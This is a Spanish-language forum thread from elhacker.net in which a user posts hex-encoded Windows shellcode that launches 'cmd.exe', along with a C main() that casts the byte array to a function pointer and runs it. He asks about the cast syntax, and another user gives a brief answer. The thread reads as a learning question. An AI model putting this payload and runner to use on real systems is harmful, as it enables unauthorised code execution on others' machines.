Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Skali en 19 Octubre 2015, 06:52 am



Título: No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa
Publicado por: Skali en 19 Octubre 2015, 06:52 am
Hola gente! No puedo entender la sintaxis de las lineas del main(), éstas lineas son necesarias para ejecutar el shellcode  (éste sirve para hacer bind a un puerto en Windows). No entiendo el uso de los paréntesis ni los punteros, ni los casts (escritos con esa sintaxis), si me ayudaran a entender se los agradecería! Saludos


Código
  1. char shellcode[] =      "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  2.                           "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  3.                           "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  4.                           "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  5.                           "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  6.                           "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  7.                           "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  8.                           "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  9.                           "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  10.                           "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
  11.                           "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
  12.                           "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
  13.                           "\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
  14.  
  15.  
  16.  
  17.  
  18.  
  19. int main(int argc, char **argv)
  20. {
  21.    int (*func)();
  22.    func = (int (*)()) shellcode;
  23.    (int)(*func)();
  24.     return 0;
  25. }
  26.  


Título: Re: No comprendo la sección del main() que se necesita para ejecutar Opcodes en hexa
Publicado por: ivancea96 en 19 Octubre 2015, 09:31 am
Tienes un puntero a función, y le asignas al puntero, la dirección de la función en hex.
El cast, no es  más que un cast a función.